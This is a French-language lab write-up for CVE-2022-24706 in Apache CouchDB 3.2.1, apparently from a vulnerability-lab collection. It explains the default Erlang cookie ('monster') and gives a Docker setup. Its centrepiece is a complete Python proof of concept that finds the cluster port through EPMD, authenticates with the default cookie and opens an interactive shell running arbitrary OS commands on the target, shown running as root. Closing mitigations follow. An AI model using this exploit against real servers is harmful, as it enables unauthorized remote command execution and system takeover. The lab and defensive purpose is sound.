
Exploit de preuve de concept pour CVE-2022-24706 ciblant Apache CouchDB 3.2.1 et versions antérieures. Démontre l'exécution de commandes à distance via le protocole de distribution Erlang en utilisant l'authentification par cookie par défaut.
Contributeurs
Apache CouchDB est une base de données NoSQL orientée document open source implémentée en Erlang.
Étant développé en Erlang, Apache CouchDB prend en charge nativement les fonctionnalités de calcul distribué (clustering). Les nœuds du cluster communiquent entre eux via le protocole de distribution Erlang/OTP, lequel permet d'exécuter des commandes du système d'exploitation avec les privilèges de l'utilisateur qui exécute CouchDB.
Pour exécuter des commandes système, il est nécessaire de connaître la chaîne d'authentification (secret phrase) appelée Cookie dans Erlang. Dans les versions de CouchDB 3.2.1 et antérieures, la valeur par défaut du Cookie lors de l'installation est monster. Un attaquant qui connaît cette valeur peut contourner l'authentification et exécuter des commandes système à distance.
Références :
Pour réaliser cet exercice, vous avez besoin de l'environnement suivant :
Sous macOS avec puce Apple Silicon (M1/M2/M3), des avertissements concernant la plateforme des images peuvent apparaître. Dans la plupart des cas, Docker Desktop émule automatiquement les images amd64 et les exécute, donc aucune mesure supplémentaire n'est nécessaire. Si le conteneur ne démarre pas correctement, vous pouvez ajouter l'option platform: linux/amd64 au service couchdb dans le fichier docker-compose.yml.
Si Python 3 n'est pas installé, vous pouvez l'installer avec les commandes suivantes :
sudo apt update
sudo apt install -y python3
Exécutez la commande suivante pour lancer l'environnement Apache CouchDB 3.2.1 :
docker compose up -d
Une fois le service en cours d'exécution, les trois ports suivants seront ouverts sur l'IP cible :
Dans un environnement réel, le port de l'interface web (5984) et celui du service EPMD (4369) sont fixes, mais le port de communication du cluster peut changer à chaque exécution. Par conséquent, vous pouvez accéder au service EPMD pour connaître le numéro de port de communication du cluster actuellement utilisé.
Si Apache CouchDB fonctionne correctement, les informations de version sont disponibles à l'adresse http://target-ip:5984.

Cette vulnérabilité se produit lorsque les conditions suivantes sont remplies :
monster).docker compose up -d
python3 poc.py target-ip 4369
Le PoC interroge le service EPMD pour obtenir le numéro de port de communication du cluster actuellement utilisé, puis s'authentifie via le protocole de distribution Erlang avec le Cookie par défaut (monster).
Une fois l'authentification réussie, vous pouvez saisir n'importe quelle commande système pour vérifier l'exécution de commande à distance.
#!/usr/local/bin/python3
# Bibliothèque standard Python
import socket
from hashlib import md5
import struct
import sys
import re
import time
# Serveur cible et configuration de base
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # Port EPMD par défaut
COOKIE = "monster" # Cookie Erlang par défaut de CouchDB
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Paquet de demande de liste des nœuds Erlang
# Messages d'authentification et de contrôle Erlang
NAME_MSG = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
# Convertit la commande saisie par l'utilisateur en paquet RPC Erlang
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Exécution de commande à distance via le protocole de distribution Erlang.\n")
# Connexion au serveur EPMD pour obtenir les informations du nœud Erlang
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Impossible de se connecter à EPMD : %s\n fin du programme" % msg)
sys.exit(1)
# Demande de la liste des nœuds Erlang
epm_socket.send(EPM_NAME_CMD)
# Si la réponse est correcte, récupère les informations du nœud
if epm_socket.recv(4) == b'\x00\x00\x11\x11':
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choix = 1
print("Nœud trouvé : " + data[0])
else:
print("\nPlusieurs nœuds trouvés, choisissez lequel utiliser :")
numero_ligne = 0
for ligne in data:
numero_ligne += 1
print(" %d) %s" %(numero_ligne, ligne))
choix = int(input("\n> "))
ERLNAG_PORT = int(re.search(r"\d+$",data[choix - 1])[0])
else:
print("Erreur lors de la demande de liste des nœuds, arrêt")
sys.exit(1)
epm_socket.close()
# Connexion au nœud Erlang
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Impossible de se connecter au serveur Erlang : %s\n fin du programme" % msg)
sys.exit(1)
# Réception de la valeur du challenge
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]
# Génération des informations d'authentification à l'aide de la valeur du challenge
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
# Envoi de la demande d'authentification
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
# Vérification du succès de l'authentification
if len(CHALLENGE_RESPONSE) == 0:
print("Échec de l'authentification, arrêt")
sys.exit(1)
print("Authentification réussie")
print("Saisissez une commande :\n")
data_size = 0
# Saisie des commandes utilisateur et exécution sur le nœud CouchDB distant
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0]
s.recv(45)
data_size -= 45
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
time.sleep(0.1)
print(data[3:].decode())
data_size = 0
else:
data = s.recv(1024)
time.sleep(0.1)
print(data[4:].decode())
data_size -= 1024
L'exécution du PoC montre que le port de communication du cluster est correctement identifié via le service EPMD et que le message Authentication successful confirme le succès de l'authentification via le protocole de distribution Erlang.
Ensuite, la commande whoami est exécutée et montre que la commande s'exécute avec les privilèges root ; la commande id permet de vérifier les informations sur l'utilisateur et les groupes. De plus, la commande touch /tmp/success crée un fichier success dans le répertoire /tmp de la cible, et la commande ls /tmp confirme la création de ce fichier. Cela valide que les commandes système saisies sont bien exécutées sur la machine cible.

Une fois l'exercice terminé, exécutez la commande suivante pour arrêter les conteneurs Docker et le réseau :
docker compose down
Mise à jour vers la dernière version
Mettez à jour Apache CouchDB vers la version 3.2.2 ou supérieure pour résoudre le problème du Cookie Erlang par défaut.
Changement du Cookie Erlang par défaut
Ne pas utiliser la valeur par défaut (monster) ; remplacez-la par une valeur aléatoire difficile à deviner pour empêcher le contournement de l'authentification et l'exécution de commandes à distance.
Restriction d'accès au port EPMD et au port de communication du cluster
Appliquez des pare-feu ou des politiques de contrôle d'accès pour que seuls les hôtes de confiance puissent accéder à EPMD (4369) et au port de communication du cluster.
Désactivation de la fonctionnalité de distribution Erlang si inutile
Dans les environnements où le clustering n'est pas utilisé, désactivez la fonctionnalité de distribution Erlang ou limitez l'accès externe aux services associés afin de minimiser les risques d'attaque.